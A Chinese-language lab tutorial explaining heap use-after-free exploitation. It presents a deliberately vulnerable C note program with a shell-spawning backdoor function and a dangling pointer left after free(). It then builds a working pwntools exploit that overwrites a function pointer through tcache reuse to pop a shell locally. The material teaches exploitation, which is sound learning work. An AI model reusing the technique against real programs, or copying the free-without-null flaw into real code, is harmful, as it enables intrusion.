前面說完chunk跟bin了,今天要進入uaf環節uwu
uaf.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_NOTES 10
typedef struct Note {
    void (*print)(char *);
    char *content;
} Note;
Note *notes[MAX_NOTES] = {NULL};
void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}
void welcome() {
    printf("Welcome to my uaf lab!\n");
}
void backdoor() {
    system("/bin/sh");
}
void menu() {
    puts("\n1. Add note");
    puts("2. Show note");
    puts("3. Delete note");
    puts("4. Exit");
    printf("> ");
}
void add() {
    int idx;
    size_t size;
    printf("Note index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= MAX_NOTES) {
        puts("Invalid index!");
        return;
    }
    if (notes[idx] != NULL) {
        puts("Note already exists!");
        return;
    }
    printf("Note size: ");
    scanf("%zu", &size);
    Note *n = malloc(sizeof(Note));
    n->print = NULL;
    n->content = malloc(size);
    printf("Your note: ");
    read(0, n->content, size);
    notes[idx] = n;
    puts("Note added!");
}
void show() {
    int idx;
    printf("Note index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= MAX_NOTES) {
        puts("Invalid index!");
        return;
    }
    if (notes[idx] == NULL) {
        puts("Note does not exist!");
        return;
    }
    if (notes[idx]->print)
        notes[idx]->print(notes[idx]->content);
}
void delete() {
    int idx;
    printf("Note index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= MAX_NOTES) {
        puts("Invalid index!");
        return;
    }
    if (notes[idx] != NULL) {
        free(notes[idx]);
        puts("Note deleted!");
    } else {
        puts("Note does not exist!");
    }
}
int main() {
    init();
    welcome();
    int opt;
    while (1) {
        menu();
        scanf("%d", &opt);
        switch (opt) {
            case 1:
                add();
                break;
            case 2:
                show();
                break;
            case 3:
                delete();
                break;
            case 4:
                puts("Bye!");
                exit(0);
            default:
                puts("Invalid option!");
        }
    }
}
makefile:
uaf: uaf.c
        gcc uaf.c -o uaf -fstack-protector-all
我們可以得知的是,這個程式碼雖然很長,但是他的功能就是簡單的做增加筆記,刪掉筆記,檢視筆記跟退出這四個部分
觀察以下流程:
Note 結構和一塊記憶體用來存放筆記內容。Note 指標存入 notes 陣列對應的索引位置。print 函式指標初始為 NULL(或原本可以指向 default_print)。read() 讀取使用者輸入的內容到 content。print 指標非空,則呼叫 print(content)。free() 對應的 Note 結構(沒有設置 NULL,留下懸空指標)。from pwn import *
r = process('./uaf')
def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)
def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
這裡我們可以先add兩個note,我們可以使用gdb attach的方式去查看他heap的現狀
from pwn import *
r = process('./uaf')
def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)
def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
add(0, 0x20, b'AAAAAAAA')
add(1, 0x20, b'BBBBBBBB')
gdb:
這裡可以看到我們分配的大小跟function pointer,還有一些我們丟進去的8個A跟8個B

我們現在去試著free掉這兩個chunk看看會發生甚麼
from pwn import *
r = process('./uaf')
def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)
def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
add(0, 0x20, b'AAAAAAAA')
add(1, 0x20, b'BBBBBBBB')
delete(0)
delete(1)
gdb:
chunk被free掉之後,我們可以發現已經進入tcachebins裡了

接下來我們可以在程式碼加上add(2, 0x10, b'aaaaaaaa')並執行再用gdb查看,我們可以發現我們再次填入的8個a也就是0x61,他已經把原本的function pointer蓋掉了,這個意思就是我們只要把我們的backdoor丟上去,就可以成功開shell了
然後去找backdoor的address:
最後就是我們在show一次,就會成功開shell了
exp.py:
from pwn import *
r = process('./uaf')
def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)
def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
backdoor = 0x401323
add(0, 0x20, b'A'*4)
add(1, 0x20, b'B'*4)
delete(0)
delete(1)
add(2, 0x10, p64(backdoor))
show(0)
r.interactive()
Pwned!